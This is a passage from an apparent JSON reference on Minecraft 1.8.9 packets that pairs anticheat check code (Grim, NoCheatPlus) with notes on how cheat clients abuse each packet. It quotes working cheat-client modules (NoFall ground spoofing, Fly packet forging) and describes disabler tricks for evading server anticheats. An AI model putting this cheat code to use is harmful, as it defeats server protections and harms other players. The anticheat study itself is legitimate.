ATTACK_RANGE_COMPONENT_EXISTS = PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_21_11);\n    private static final boolean USE_1_8_HITBOX_MARGIN = PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_8_8);\n\n    private double applyReachModifiers(SimpleCollisionBox targetBox, boolean hasAttackRange, float itemMaxReach, float itemHitboxMargin, boolean giveMovementThreshold) {\n        double maxReach;\n        double hitboxMargin = threshold;\n\n        if (hasAttackRange) {\n            maxReach = itemMaxReach;\n            hitboxMargin += itemHitboxMargin;\n        } else {\n            maxReach = player.compensatedEntities.self.getAttributeValue(Attributes.ENTITY_INTERACTION_RANGE);\n            // 1.7 and 1.8 players get a bit of extra hitbox (this is why you should use 1.8 on cross version servers)\n            // Yes, this is vanilla and not uncertainty.  All reach checks have this or they are wrong.\n            if (player.getClientVersion().isOlderThan(ClientVersion.V_1_9)) {\n                hitboxMargin += 0.1f;\n            }\n        }\n\n        // This is better than adding to the reach, as 0.03 can cause a player to miss their target\n        // Adds some more than 0.03 uncertainty in some cases, but a good trade off for simplicity\n        //\n        // Just give the uncertainty on 1.9+ clients as we have no way of knowing whether they had 0.03 movement\n        // However, on 1.21.2+ we do know if they had 0.03 movement\n        if (giveMovementThreshold || player.canSkipTicks()) {\n            hitboxMargin += player.getMovementThreshold();\n        }\n\n        targetBox.expand(hitboxMargin);\n\n        return maxReach;\n    }\n\n    @Override\n    public void onReload(@NotNull ConfigManager config) {\n        this.cancelImpossibleHits = config.getBooleanElse(\"Reach.block-impossible-hits\", true);\n        this.threshold = config.getDoubleElse(\"Reach.threshold\", 0.0005);\n    }\n\n    private enum ResultType {\n        REACH, HITBOX, NONE\n    }\n\n    private record CheckResult(ResultType type, double minDistance, double extraMovement, boolean hasExtraMovement) {\n        public boolean isFlag() {\n            return type != ResultType.NONE;\n        }\n\n        public String verbose() {\n            if (type != ResultType.REACH) {\n                return \"\";\n            }\n\n            String verbose = String.format(\"%.5f\", minDistance) + \" blocks\";\n            if (hasExtraMovement) {\n                verbose += String.format(\", extraMovement=%.5f\", extraMovement);\n            }\n            return verbose;\n        }\n    }\n\n    private record InteractionData(double x, double y, double z, boolean hasAttackRange,\n                                   float maxReach, float hitboxMargin, Vector3dm attackRangeMovement) {}\n}",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/combat/Reach.java",
       "variations": "Kauri (funkemunky-KauriV3) Hitbox check and Artemis Reach2 use the same simulation model; classic anticheats (NCP, AutoEye) instead compare the packet to the server's own entity positions with a tolerance."
      },
      {
       "name": "UseEntity adapter + fight.reach (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "Classic 1.8 ProtocolLib adapter that forwards the use-entity packet into the fight checks.",
       "how_it_works": "Wraps the NMS packet through ProtocolLib (with legacy reflection fallback for the action enum on 1.7 servers), builds a UseEntityData wrapper, and dispatches it to the fight reach, angle, direction, noswing and attackfrequency checks. The reach check measures the distance from the player's eye to the entity at attack time against the 3.0 block baseline plus the entity's hitbox radius.",
       "detects": "Reach, killaura angle/direction, attack frequency, no-swing attacks.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCompatProtocolLib/src/main/java/fr/neatmonster/nocheatplus/checks/net/protocollib/UseEntityAdapter.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.net.protocollib;\n\nimport java.lang.reflect.Method;\nimport java.util.Arrays;\n\nimport org.bukkit.entity.Player;\nimport org.bukkit.plugin.Plugin;\n\nimport com.comphenix.protocol.PacketType;\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.comphenix.protocol.reflect.StructureModifier;\nimport com.comphenix.protocol.wrappers.EnumWrappers.EntityUseAction;\nimport com.comphenix.protocol.wrappers.WrappedEnumEntityUseAction;\n\nimport fr.neatmonster.nocheatplus.NCPAPIProvider;\nimport fr.neatmonster.nocheatplus.checks.CheckType;\nimport fr.neatmonster.nocheatplus.checks.net.AttackFrequency;\nimport fr.neatmonster.nocheatplus.checks.net.NetConfig;\nimport fr.neatmonster.nocheatplus.checks.net.NetData;\nimport fr.neatmonster.nocheatplus.compat.versions.ServerVersion;\nimport fr.neatmonster.nocheatplus.logging.StaticLog;\nimport fr.neatmonster.nocheatplus.players.DataManager;\nimport fr.neatmonster.nocheatplus.players.IPlayerData;\nimport fr.neatmonster.nocheatplus.utilities.ReflectionUtil;\n\n/**\n * Adapter for the UseEntity NMS packet\n */\npublic class UseEntityAdapter extends BaseAdapter {\n    private static final boolean isServerAtLeast1_13 = ServerVersion.isAtLeast(\"1.13\");\n\n    private static class LegacyReflectionSet {\n        /** Hacks. */\n        final Class<?> packetClass_legacy;\n        final Class<?> enumClassAction_legacy;\n        final Method methodGetAction_legacy;\n        final Method methodName_legacy;\n\n        /**\n         *\n         * @param versionDetail\n         * @throws RuntimeException\n         *             if not matching/supported.\n         */\n        private LegacyReflectionSet(String versionDetail) {\n            Class<?> packetClass = ReflectionUtil.getClass(\"net.minecraft.server.\" + versionDetail + \".PacketPlayInUseEntity\");\n            Class<?> actionClass = ReflectionUtil.getClass(\"net.minecraft.server.\" + versionDetail + \".EnumEntityUseAction\");\n            Method methodGetAction = (packetClass == null || actionClass == null) ? null : ReflectionUtil.getMethodNoArgs(packetClass, \"c\", actionClass);\n            if (packetClass == null || actionClass == null || methodGetAction == null) {\n                this.packetClass_legacy = null;\n                this.enumClassAction_legacy = null;\n                this.methodGetAction_legacy = null;\n                this.methodName_legacy = null;\n            }\n            else {\n                this.packetClass_legacy = packetClass;\n                this.enumClassAction_legacy = actionClass;\n                this.methodGetAction_legacy = methodGetAction;\n                this.methodName_legacy = ReflectionUtil.getMethodNoArgs(enumClassAction_legacy, \"name\", String.class);\n            }\n            if (this.methodName_legacy == null) {\n                throw new RuntimeException(\"Not supported.\");\n            }\n        }\n\n        String getActionFromNMSPacket(Object handle) {\n            final Class<?> clazz = handle.getClass();\n            if (clazz != packetClass_legacy) {\n                return null;\n            }\n            final Object action = ReflectionUtil.invokeMethodNoArgs(methodGetAction_legacy, handle);\n            if (action == null) {\n                return null;\n            }\n            final Object actionName = ReflectionUtil.invokeMethodNoArgs(methodName_legacy, action);\n            if (actionName instanceof String) {\n                return (String) actionName;\n            }\n            else {\n                return null;\n            }\n        }\n    }\n\n    private static final int INTERPRETED = 0x01;\n    \n    private static final int ATTACK = 0x02;\n\n    private final AttackFrequency attackFrequency;\n\n    private final LegacyReflectionSet legacySet;\n\n    private volatile boolean protocolLibEntityUseActionBroken = false;\n\n    private volatile boolean protocolLibEntityUseActionWarningLogged = false;\n\n    public UseEntityAdapter(Plugin plugin) {\n        super(plugin, PacketType.Play.Client.USE_ENTITY);\n        this.checkType = CheckType.NET_ATTACKFREQUENCY;\n        // Add feature tags for checks.\n        if (NCPAPIProvider.getNoCheatPlusAPI().getWorldDataManager().isActiveAnywhere(CheckType.NET_ATTACKFREQUENCY)) {\n            NCPAPIProvider.getNoCheatPlusAPI().addFeatureTags(\"checks\", Arrays.asList(AttackFrequency.class.getSimpleName()));\n        }\n        attackFrequency = new AttackFrequency();\n        NCPAPIProvider.getNoCheatPlusAPI().addComponent(attackFrequency);\n        this.legacySet = getLegacyReflectionSet();\n    }\n\n    private LegacyReflectionSet getLegacyReflectionSet() {\n        for (String versionDetail : new String[] {\"v1_7_R4\", \"v1_7_R1\"}) {\n            try {\n                return new LegacyReflectionSet(versionDetail);\n            }\n            catch (RuntimeException e) {} // +-\n        }\n        return null;\n    }\n\n    @Override\n    public void onPacketReceiving(final PacketEvent event) {\n        try {\n            if (event.isPlayerTemporary()) return;\n        }\n        catch(NoSuchMethodError e) {}\n        final long time = System.currentTimeMillis();\n        final Player player = event.getPlayer();\n        if (player == null) {\n            // TODO: Warn once?\n            return;\n        }\n        final IPlayerData pData = DataManager.getPlayerDataSafe(player);\n        if (pData == null) {\n            return;\n        }\n        final NetData data = pData.getGenericInstance(NetData.class);\n        // Always set last received time.\n        data.lastKeepAliveTime = time;\n\n        // Quick return, if no checks are active.\n        if (!pData.isCheckActive(CheckType.NET_ATTACKFREQUENCY, player)) {\n            return;\n        }\n\n        final PacketContainer packet = event.getPacket();\n\n        // MIGHT: use entity, use block both on packet level?\n        boolean isAttack = false;\n        boolean packetInterpreted = false;\n        if (legacySet != null) {\n            // Attempt to extract legacy information.\n            final int flags = getAction_legacy(packet);\n            if ((flags & INTERPRETED) != 0 ) {\n                packetInterpreted = true;\n                if ((flags & ATTACK) != 0) {\n                    isAttack = true;\n                }\n            }\n        }\n        if (!packetInterpreted) {\n            // Handle as if latest.\n            try {\n                if (!protocolLibEntityUseActionBroken) {\n                    final StructureModifier<EntityUseAction> actions = packet.getEntityUseActions();\n                    if (actions.size() == 1) {\n                        packetInterpreted = true;\n                        isAttack = actions.read(0) == EntityUseAction.ATTACK;\n                    }\n                    // ProtocolLib compatibility: modern snapshots can throw while initializing enum wrappers.\n                    if (!packetInterpreted && isServerAtLeast1_13) {\n                        final StructureModifier<WrappedEnumEntityUseAction> enumActions = packet.getEnumEntityUseActions();\n                        if (enumActions.size() == 1 && enumActions.read(0).equals(WrappedEnumEntityUseAction.attack())) {\n                            packetInterpreted = true;\n                            isAttack = true;\n                        }\n                    }\n                }\n            }\n            catch (NullPointerException e) {\n                /*\n                 * TODO: Observed somewhere on 1_7_R4, probably a custom build -\n                 * why doesn't the LegacyReflectionSet work here?\n                 */\n            }\n            catch (LinkageError | RuntimeException e) {\n                protocolLibEntityUseActionBroken = true;\n                if (!protocolLibEntityUseActionWarningLogged) {\n                    protocolLibEntityUseActionWarningLogged = true;\n                    // Diagnostic logging: name the failing branch so attack/combat packet issues are clear in console.\n                    StaticLog.logWarning(\"ProtocolLib could not expose USE_ENTITY action data (branch=enumEntityUseActions, packet=\" + packet.getType() + \"). Skipping AttackFrequency interpretation for USE_ENTITY packets until restart.\");\n                    StaticLog.logWarning(\"ProtocolLib USE_ENTITY action failure: \" + e.getClass().getName() + \": \" + e.getMessage());\n                }\n                return;\n            }\n        }\n        if (!packetInterpreted) {\n            // StaticLog.logWarning(\"Attack packet couldn't be interpreted. Skipping AttackFrequency.\");\n            // TODO: Log warning once, if the packet could not be interpreted.\n            return;\n        }\n\n        // Run checks.\n        boolean cancel = false;\n\n        // AttackFrequency\n        if (isAttack) {\n            final NetConfig cc = pData.getGenericInstance(NetConfig.class);\n            if (attackFrequency.isEnabled(player, pData)\n                && attackFrequency.check(player, time, data, cc, pData)) {\n                cancel = true;\n            }\n        }\n\n        if (cancel) {\n            event.setCancelled(true);\n        }\n    }\n\n    private int getAction_legacy(final PacketContainer packetContainer) {\n        // (For some reason the object didn't appear work with equality checks, thus compare the short string.)\n        final String actionName = legacySet.getActionFromNMSPacket(packetContainer.getHandle());\n        return actionName == null ? 0 : (INTERPRETED | (\"ATTACK\".equals(actionName) ? ATTACK : 0));\n    }\n\n}",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCompatProtocolLib/src/main/java/fr/neatmonster/nocheatplus/checks/net/protocollib/UseEntityAdapter.java",
       "variations": "AutoEye (heirteir-AutoEye) uses its own PacketPlayInUseEntity wrapper; Frequency and Degrade use WrappedPlayInUseEntity; SafeguardAC has a dedicated UseEntityPacketHandler."
      },
      {
       "name": "KillAuraA (Frequency)",
       "found_in": [
        "ElevatedDev-Frequency",
        "MinecraftUserHAN1110-FrequencyPlus",
        "splatboydev-Degrade"
       ],
       "purpose": "Classic 1.8 statistical killaura check over the use-entity stream.",
       "how_it_works": "Reads the wrapped use-entity packet on every attack, tracks target rotations, and flags when the player attacks entities outside their field of view or with impossible turn patterns. Small, event-driven, typical of the 1.8 generation of anticheats.",
       "detects": "Killaura that attacks without looking at the target, rotation-based aura patterns.",
       "detailed_code": "// ===== FILE: ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/killaura/KillAuraA.java =====\npackage xyz.elevated.frequency.check.impl.killaura;\n\nimport net.minecraft.server.v1_8_R3.PacketPlayInUseEntity;\nimport xyz.elevated.frequency.check.CheckData;\nimport xyz.elevated.frequency.check.type.PostCheck;\nimport xyz.elevated.frequency.data.PlayerData;\nimport xyz.elevated.frequency.wrapper.impl.client.WrappedPlayInFlying;\nimport xyz.elevated.frequency.wrapper.impl.client.WrappedPlayInUseEntity;\n\n@CheckData(name = \"KillAura (A)\")\npublic final class KillAuraA extends PostCheck {\n\n    private boolean sent = false;\n    private long lastFlying = 0L, lastPacket = 0L;\n    private double buffer = 0.0d;\n\n    public KillAuraA(final PlayerData playerData) {\n        super(playerData, WrappedPlayInUseEntity.class);\n    }\n\n    @Override\n    public void process(final Object object) {\n        if (object instanceof WrappedPlayInFlying) {\n            final long now = System.currentTimeMillis();\n            final long delay = now - lastPacket;\n\n            if (sent) {\n                if (delay > 40L && delay < 100L) {\n                    buffer += 0.25;\n\n                    if (buffer > 0.5) {\n                        fail();\n                    }\n                } else {\n                    buffer = Math.max(buffer - 0.025, 0);\n                }\n\n                sent = false;\n            }\n\n            this.lastFlying = now;\n        } else if (object instanceof WrappedPlayInUseEntity) {\n            final WrappedPlayInUseEntity wrapper = (WrappedPlayInUseEntity) object;\n\n            if (wrapper.getAction() != PacketPlayInUseEntity.EnumEntityUseAction.ATTACK) {\n                return;\n            }\n\n            final long now = System.currentTimeMillis();\n            final long delay = now - lastFlying;\n\n            if (delay < 10L) {\n                lastPacket = now;\n                sent = true;\n            } else {\n                buffer = Math.max(buffer - 0.025, 0.0);\n            }\n        }\n    }\n}",
       "code_source": "ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/killaura/KillAuraA.java",
       "variations": "ThotPatrol KillAuraA, Azure AuraA/AuraB, Hydro KillAuraA and MC-Jinky-BasicAntiCheat KillAuraCheck are the same pattern on different event buses."
      }
     ]
    }
   },
   "wiki_notes": [
    "Middle-click pick-block in creative mode is resolved client-side and sent as a creative inventory action rather than as an entity interaction.",
    "MCP 1.8.9 C02PacketUseEntity implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processUseEntity; wire serde is readPacketData/writePacketData via readEnumValue, readFloat, readVarIntFromBuffer.",
    "1.8.9 callers: PlayerControllerMP.attackEntity sends new C02PacketUseEntity (line 498): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/multiplayer/PlayerControllerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C02PacketUseEntity/",
   "mcp_path": "net/minecraft/network/play/client/C02PacketUseEntity.java",
   "group": "play-server",
   "logic_classes": [
    "PlayerControllerMP"
   ]
  },
  {
   "id": "C03PacketPlayer",
   "hex": "0x03",
   "dec": 3,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Player",
   "desc": "Updates the player's position on the server. Has subclasses for different update types.",
   "tags": [
    "player",
    "movement",
    "position"
   ],
   "subclasses": [
    {
     "name": "C04PacketPlayerPosition",
     "hex": "0x04",
     "desc": "Position update (x, y, z) with onGround."
    },
    {
     "name": "C05PacketPlayerLook",
     "hex": "0x05",
     "desc": "Rotation update (yaw, pitch) with onGround."
    },
    {
     "name": "C06PacketPlayerPosLook",
     "hex": "0x06",
     "desc": "Full position + rotation update with onGround."
    }
   ],
   "fields": [
    {
     "name": "x",
     "type": "double",
     "desc": "Player X coordinate (absolute)"
    },
    {
     "name": "y",
     "type": "double",
     "desc": "Feet Y coordinate"
    },
    {
     "name": "z",
     "type": "double",
     "desc": "Player Z coordinate"
    },
    {
     "name": "yaw",
     "type": "float",
     "desc": "Horizontal rotation in degrees"
    },
    {
     "name": "pitch",
     "type": "float",
     "desc": "Vertical rotation in degrees"
    },
    {
     "name": "onGround",
     "type": "boolean",
     "desc": "True if the player is on the ground"
    }
   ],
   "encoding": [
    [
     "X",
     "double",
     "Absolute position"
    ],
    [
     "Feet Y",
     "double",
     "Feet Y coordinate"
    ],
    [
     "Z",
     "double",
     "Absolute position"
    ],
    [
     "Yaw",
     "float",
     ""
    ],
    [
     "Pitch",
     "float",
     ""
    ],
    [
     "On Ground",
     "bool",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processPlayer()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "S03PacketPlayer is the abstract base. C04/C05/C06 each have their own packet ID. The client sends C04 when only position changes, C05 when only rotation changes, and C06 when both change. onGround is ALWAYS present.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C03PacketPlayer is the abstract base of the serverbound movement family: four registered packet ids (0x03 bare, 0x04 position, 0x05 look, 0x06 pos+look) share one class with subclasses, and the vanilla client emits one of them every tick from EntityPlayerSP.onUpdateWalkingPlayer. The payload is a single onGround byte plus optional x/y/z doubles and yaw/pitch floats. Every server-side movement decision derives from it: position integration, ground state, fall distance, rotation, and the server's own movement validation. It is the most-sent packet in the play state and by far the most-abused one in the ten-client corpus."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayServer.processPlayer snapshots lastPos, computes the squared delta, and arms a hasMoved flag on the first small movement. Position values beyond +-3.0E7 on X or Z kick with \"Illegal position\". A reported Y of -999.0 disables the movement flag entirely (the client sends it when falling out of the world). The vanilla anti-cheat is the \"moved too quickly\" check: the sum of min(|delta|, |motion|) squared per axis must stay under 100.0, otherwise the player is teleported back with a warning. A residual delta over 0.0625 squared after moveEntity logs \"moved wrongly\" and snaps the player back. If the client reports onGround=false while the server thinks the player is grounded and Y is rising, the server calls jump(). Fall damage is applied from the server's own simulated fall state, which is what ground spoofing attacks."
     },
     {
      "h": "Why clients touch it",
      "p": "The corpus splits into five families. Ground-state spoofers: NoFall in all eight clients, plus FastUse and Regen that send C03(true) or bare C03() to force the server-side regen tick. Movement engines: Flight (Nekoware, Rise 5.99, the 13+ mode Rise 6.x flight suite, Sigma, Spicy, Tenacity), Speed and Bhop (Rise 5.99, Rise 6.x, Sigma, Spicy), Step (Memeware, Nekoware, Rise 5.99, Rise 6.x, Sigma), Phase (Memeware, Rise 5.99, Rise 6.x NormalPhase, Sigma). Buffer and replay: Blink in Rise 5.99, Rise 6.x components, Sigma, Spicy and Tenacity. Position injection: Criticals offset ladders, TPAura and Infinite path walks, Damage utilities, AntiVoid, LongJump, and teleport modules. Disablers: Memeware, Rise 5.99, the Rise 6.x per-server suite, Sigma, Spicy and Tenacity all rewrite, cancel or re-inject C03 to break anti-cheat position timing. November Recode 2.0 contributes AntiVoid (watchdog C03 queueing), a rotation manager that rewrites the walking update, and a BlocksMC disabler; LiquidSense Dev contributes the HYT movement set, the Tp and Teleport lag-back walkers, Tower, Phase, ServerCrasher, FreeCam and LiquidWalk."
     },
     {
      "h": "Exploit surface",
      "p": "onGround is a single trusted bit that drives server-side jump physics and fall-damage accumulation: NoFall reports ground every tick so the server's entity never accrues fall distance. The 100.0 and 0.0625 squared-delta gates are the real vanilla anti-cheat, so every movement module must keep reported deltas under them or accept the teleport-back. The -999.0 Y sentinel is a free pass for vertical state: modules and commands use it to reset position without moving the player. Disablers weaponize the packet stream itself: cancelling C03 while Hypixel's watchdog is armed freezes the player server-side, and rewriting C06 into C04 (or the reverse) breaks anti-cheats that count packet-type ratios. Rotation is never validated against motion in vanilla, so spinbot and rotation-spoof modules can report any yaw/pitch."
     }
    ],
    "overview": "The movement spine of 1.8.9: one onGround byte plus optional position and rotation, emitted 20 times a second, trusted by the server for position integration, jump physics and fall damage. NoFall ground-spoofs it, Flight/Speed/Step/Phase forge its coordinates, Blink buffers it, Criticals and Damage inject offset ladders into it, and the disabler suites cancel or rewrite it to freeze the server-side player.",
    "server_handling": "processPlayer runs on the server thread and, for position-carrying variants, compares the packet position against the stored lastPos. The hasMoved gate requires the first reported movement to be under 0.25 squared before any validation starts. The \"moved too quickly\" check uses min(|delta|, |motion|) per axis, so large instantaneous deltas are masked by small motion values; the check teleports back via setPlayerLocation instead of kicking. \"moved wrongly\" fires when the post-integration residual exceeds 0.0625 squared and the player is not sleeping or in creative, also teleporting back. When the client reports onGround=false while the server-side player is grounded and Y is rising, the server calls jump(), which is the mechanism both criticals and the watchdog-disabler +0.16/+0.07 packet pairs exploit. The flight check runs when the player has no block collision under the bounding box and flight is disabled, kicking on sustained airborne motion.",
    "protocol_notes": "Four distinct ids map to one class: C03PacketPlayer (onGround only), C04PacketPlayerPosition (+x,y,z), C05PacketPlayerLook (+yaw,pitch), C06PacketPlayerPosLook (+both). The moving flag (field_149480_h) is set by the position constructors and the rotating flag by the look constructors; writePacketData emits the onGround byte first, then the doubles and floats conditionally. The -999.0 Y convention is a wire-level sentinel: the client sends C06 with y=-999 when falling out of the world, and the server clears the moving flag when it sees it. EntityPlayerSP selects the subclass by what changed this tick, and NetHandlerPlayClient answers S08 teleports with a C06 confirming the new position.",
    "anticheat_landscape": "NCP checks ground-state consistency (onGround true while falling), horizontal acceleration for speed, vertical acceleration for flight, and packet gaps for blink. Verus and AAC correlate rotation with motion, which is why Rise 6.x's PacketNoRotate rewrites C06 into C04 to strip rotations. Hypixel's watchdog is fought with the ground-truth +0.16/+0.07 jump-flag pair followed by full C03 cancellation for the watchdog window, disarmed by S08. Grim and Vulcan target packet-order and buffer abuse, countered by Rise 6.x modes like BufferAbuseFlight and the ConvertMovingPackets disabler. Timer-based flight and bhop (Spicy's 26.5 tps) flag timer checks unless the keepalive and transaction streams are delayed in lockstep, which is the disabler's second job.",
    "modules": [
     {
      "name": "NoFall",
      "found_in": [
       "Memeware 7.3",
       "Nekoware v1 private",
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4",
       "Sigma 4.11",
       "Spicy",
       "Tenacity 6.0",
       "LiquidSense Dev"
      ],
      "purpose": "Eliminate fall damage by reporting onGround=true while falling, so the server-side entity never accumulates fall distance.",
      "how_it_works": "Memeware's Hypixel mode fires C03(true) through sendPacketSilent (bus-bypassing) the moment fallDistance reaches 2 with ground below, then resets the local fallDistance; the Ground Spoof mode mutates the UpdateEvent ground flag so the vanilla emitter sends onGround=true in every packet while falling past 2.5 blocks. The two modes cover servers that do and do not validate extra packets.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/movement/NoFall.java =====\n\npackage me.memewaredevs.client.module.movement;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.memewaredevs.client.event.events.UpdateEvent;\nimport me.memewaredevs.client.module.Module;\nimport me.memewaredevs.client.util.packet.PacketUtil;\nimport net.minecraft.network.play.client.C03PacketPlayer;\n\nimport java.util.function.Consumer;\n\npublic class NoFall extends Module {\n    public NoFall() {\n        super(\"No Fall\", 0, Module.Category.MISC);\n        this.addModes(\"Ground Spoof\", \"Hypixel\");\n    }\n    @Handler\n    public Consumer<UpdateEvent> eventConsumer0 = (e) -> {\n\n        if (isMode(\"Hypixel\")) {\n            if (mc.thePlayer.fallDistance >= 2F && AntiFall.isBlockUnder()) {\n                PacketUtil.sendPacketSilent(new C03PacketPlayer(true));\n                mc.thePlayer.fallDistance = 0;\n            }\n        }\n        if(isMode(\"Ground Spoof\")) {\n        \tif (mc.thePlayer.fallDistance > 2.5F) {\n        \t\te.setGround(true);\n        \t}\n        }\n        \n    };\n}\n\n\n// NOTE (AI): The Hypixel mode sends C03(true) through sendPacketSilent, which bypasses the packet event bus, the moment fallDistance reaches 2 blocks while there is ground below (AntiFall.isBlockUnder). Reporting onGround=true resets the server-side entity's fallDistance accumulation, so the server never applies fall damage. Ground Spoof mode instead mutates the UpdateEvent's ground flag, which flows into the vanilla C03 emission in EntityPlayerSP.onUpdateWalkingPlayer, so the same effect is achieved without injecting an extra packet. The 2.5 fallDistance threshold keeps the spoof from running during normal jumping.\n",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/movement/NoFall.java",
      "vanilla_hook": "UpdateEvent; the injected C03(true) bypasses the packet event bus.",
      "anti_cheat_notes": "NCP's ground check compares onGround against the simulated fall state; reporting ground mid-air is its classic flag, so packet-based NoFall is mostly caught by modern checks while ground-spoof variants that keep the arc believable last longer.",
      "variations": "Nekoware sends C03(true) via sendPacketSilent on the same condition. Rise 5.99 sends C03(true) or a C06 with onGround true. Rise 6.x splits PacketNoFall (C03 true), FlagNoFall (C06 response spoof), PlaceNoFall, VulcanAndVerusNoFall and WatchdogNoFall. Sigma and Spicy send C03(true) on fallDistance thresholds; Tenacity's NoFallModule appears in the corpus via import only. LiquidSense Dev's NoFall ships the same onGround=true family (packet modes fire C03(true) on fall thresholds, SpoofGround/NoGround modes mutate the outgoing packet) plus an MLG mode that switches to a water bucket or web block with C09 and places it when a fall would miss the ground."
     },
     {
      "name": "Flight / Fly",
      "found_in": [
       "Nekoware v1 private",
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4",
       "Sigma 4.11",
       "Spicy",
       "Tenacity 6.0",
       "LiquidSense Dev"
      ],
      "purpose": "Move vertically and horizontally without the server's flight permission, by driving client physics and shaping the C03 stream the vanilla emitter sends.",
      "how_it_works": "Nekoware's Vanilla mode sets motionY from input and horizontal speed directly and sends nothing, using a fall/ascend C04 pair every 700ms as anti-kick. Damage mode floods C0CPacketInput plus C03(true) each pre tick and starts with the fall-damage C04 ladder (y+3.05, y, y+0.41999998688697815) to gain the damage boost that defeats NCP flight checks. Verus mode places a C08 block below and zeroes motionY. The PacketOutEvent handler cancels C0F and C00 so the position stream is not correlated against transaction timing.",
      "detailed_code": "// ===== FILE: Nekoware v1 private, me/nekoWare/client/module/movement/Fly.java =====\npackage me.nekoWare.client.module.movement;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.nekoWare.client.event.events.EventCollide;\nimport me.nekoWare.client.event.events.MovementEvent;\nimport me.nekoWare.client.event.events.PacketOutEvent;\nimport me.nekoWare.client.event.events.UpdateEvent;\nimport me.nekoWare.client.module.Module;\nimport me.nekoWare.client.util.blocks.misc.BlockUtil;\nimport me.nekoWare.client.util.misc.Timer;\nimport me.nekoWare.client.util.movement.MovementUtils;\nimport me.nekoWare.client.util.packet.PacketUtil;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.client.C0CPacketInput;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C18PacketSpectate;\nimport net.minecraft.util.AxisAlignedBB;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.MovementInput;\nimport org.apache.commons.lang3.RandomUtils;\n\nimport java.util.function.Consumer;\n\npublic class Fly extends Module {\n\n    private Timer timer = new Timer();\n\n    private double y;\n\n    public Fly() {\n        super(\"Fly\", 34, Module.Category.MOVEMENT);\n        this.addDouble(\"Speed\", 2.5, 0.1, 5.0);\n        this.addModes(\"Vanilla\", \"Damage\", \"Verus\");\n        this.addBoolean(\"Anti-Kick\", false);\n    }\n\n    @Handler\n    public Consumer<MovementEvent> eventConsumer0 = event -> {\n\n    };\n\n    @Handler\n    public Consumer<UpdateEvent> eventConsumer1 = (event) -> {\n\n        if (isMode(\"Vanilla\")) {\n            mc.timer.timerSpeed = 1f;\n            if (event.isPre()) {\n                float speed = getDouble(\"Speed\").floatValue();\n                MovementInput movementInput = mc.thePlayer.movementInput;\n                mc.thePlayer.motionY = movementInput.isJumping() ? speed * 0.5F\n                        : movementInput.isSneaking() ? -speed * 0.5F\n                        : 0.0F;\n                MovementUtils.setMoveSpeed(speed);\n                if (getBool(\"Anti-Kick\") && timer.delay(700.0f)) {\n                    MovementUtils.fallPacket();\n                    MovementUtils.ascendPacket();\n                    timer.reset();\n                }\n            }\n        }\n        \n        if (isMode(\"Damage\")) {\n        \t\n        \t\n            mc.timer.timerSpeed = 1f;\n\t\t\tif (event.isPre()) {\n\t\t\t\tmc.thePlayer.sendQueue.addToSendQueue(new C0CPacketInput());\n\t\t\t\tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer(true));\n\t\t\t\tmc.thePlayer.onGround = false;\n\t\t\t\tfloat speed = getDouble(\"Speed\").floatValue();\n\t\t\t\tMovementInput movementInput = mc.thePlayer.movementInput;\n\t\t\t\tmc.thePlayer.motionY = movementInput.isJumping() ? speed * 0.5F\n\t\t\t\t\t\t: movementInput.isSneaking() ? -speed * 0.5F : 0.0F;\n\t\t\t\tMovementUtils.setMoveSpeed(speed);\n\t\t\t}\n        }\n        \n        if (isMode(\"Verus\")) {\n        \t\n\n        \tmc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1.5, mc.thePlayer.posZ), 1, new ItemStack(Blocks.stone.getItem(mc.theWorld, new BlockPos(-1, -1, -1))), 0, 0.94f, 0));\n            MovementUtils.setMoveSpeed(0.36);\n            mc.timer.timerSpeed = 1f;\n\n\n\n            if (y >= 11) {\n                y = 0;\n            }\n\n            y++;\n\n    mc.thePlayer.motionY = 0f;\n        }\n    };\n\n    @Handler\n    public 